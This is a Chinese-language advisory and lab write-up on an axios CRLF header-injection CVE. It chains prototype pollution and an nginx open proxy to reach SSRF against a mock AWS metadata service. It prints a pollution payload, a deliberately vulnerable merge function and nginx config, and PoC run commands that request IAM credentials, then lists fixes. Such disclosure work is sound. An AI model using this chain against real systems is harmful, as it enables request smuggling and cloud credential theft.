| 项目 | 内容 |
|---|
| CVSS | 9.9(严重) |
| 受影响版本 | axios >=1.0.0 <1.15.0、axios <0.31.0 |
| 修复版本 | 1.15.0、0.31.0 |
| CWE | CWE-93 CRLF 序列的不当中和 |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ 仅通过 /[\r\n]+$/ 移除尾部 CRLF
↑ 值中间的 \r\n 原样通过
因此,若在头值中插入 \r\n\r\nGET /admin HTTP/1.1\r\n...,
TCP 流中便会直接包含第二个 HTTP 请求。
JavaScript 中的所有对象都继承自 Object.prototype。Prototype Pollution 是指污染这个共享原型本身,从而影响之后创建的所有对象的攻击方式。
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← 从未声明却存在
当存在漏洞的递归 merge 函数(lodash < 4.17.21、qs 等)未对 "__proto__" 键做特殊处理时,便会触发该漏洞。
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// 当 key = "__proto__" 时:
// target["__proto__"] → 返回 Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → 直接向 Object.prototype 注入属性
} else {
target[key] = source[key];
}
}
}
// 攻击者 JSON:__proto__ 被解析为自有属性
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 污染成功
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
应用代码: const opts = {};
opts.headers → 原型链 → 返回被污染的对象
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← 无 CRLF 校验
↓
TCP 流中包含被走私的请求
污染 Object.prototype.headers 也会影响 axios 内部的 schema 对象。
调用 assertOptions(config, schema) 时
schema['headers'] → 原型链 → 返回被污染的对象
validator(value) → 将对象作为函数调用 → TypeError
在实际攻击中,必须精确控制污染范围;广泛的污染可能在预期攻击发生前就导致应用本身崩溃(DoS 副作用)。
[1] 直接头注入或 Prototype Pollution(经由存在漏洞的 merge 库)
↓
[2] axios 将含 CRLF 的值未经校验地序列化为头
↓
[3] 通过原始 net.Socket 写入 TCP 流
(Node.js 默认 http 模块会在运行时拦截 → 需要自定义 adapter)
↓
[4] nginx(proxy_pass http://$http_host)将其解析为两个请求
↓
[5] 根据被走私请求的 Host 头路由到其他 upstream(SSRF)
↓
[6] 访问内部服务器(IMDS 等)→ 窃取凭据
| 条件 | 内容 |
|---|---|
| 绕过 Node.js http 模块 | 使用基于 net.Socket 的自定义 adapter |
| nginx open proxy | 配置 proxy_pass http://$http_host |
ignore_invalid_headers on | 允许异常头 |
resolver 指令 | 支持动态主机名解析 |
┌─────────────────────────────────────────────────────────┐
│ 宿主机 │
│ │
│ test-axios-adapter-*.js │
│ (原始 net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| 端口 | 服务 | 作用 |
|---|---|---|
| 3001 | backend | 接收 HTTP 请求 / 记录头 |
| 3003 | backend | exploit.html 静态服务器 |
| 3004 | backend | relay — 将浏览器 POST 转换为 net.Socket |
| 8080 | nginx | open proxy(proxy_pass http://$http_host) |
| 80(内部) | imds | AWS IMDSv2 mock 服务器 |
# 构建并启动所有容器
docker compose up --build
# Node.js 测试(在宿主机上运行)
npm install
# 1. 直接访问后端 — 通过 CRLF 注入产生两个请求
node poc/test-axios-adapter-backend.js
# 2. 经由 nginx — 被走私的请求路由到 backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF 链
node poc/test-prototype-pollution.js
# 4. 浏览器 — http://localhost:3003
# 选择目标:直接访问后端 / 经由 nginx / nginx → IMDS (SSRF)
1. 选择 nginx → IMDS 后运行 Custom Adapter
2. 被走私的请求: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx 按 host=imds 路由 → 转发至 IMDSv2 mock 服务器
4. imds 容器日志: [!!!] 凭据窃取成功!
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay 容器
├── Dockerfile.imds # IMDSv2 mock 容器
├── package.json # [email protected](固定为存在漏洞的版本)
└── poc/
├── backend-server.js # HTTP 服务器 (3001)、relay (3004)、静态服务器 (3003)
├── mock-imds.js # AWS IMDSv2 mock(PUT /token、GET /credentials)
├── nginx-container.conf # open proxy 配置
├── exploit.html # 浏览器 PoC(XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → 直接访问 backend
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # 标准 axios(用于确认 Node.js 拦截)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection 链
resolver 127.0.0.11 valid=30s; # Docker 内部 DNS
location / {
proxy_pass http://$http_host; # 基于 Host 头的动态路由 = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # 用于正常请求的固定 upstream
}
由于 $http_host(含端口)被用作 upstream,被走私请求的 Host 头
即成为路由目的地。
npm install axios@^1.15.0
补丁(1.15.0)引入了 assertValidHeaderValue(),会立即拒绝包含 CR/LF 的值。
额外防御:
proxy_pass http://$http_host → 改用固定 upstreamHttpTokens: required)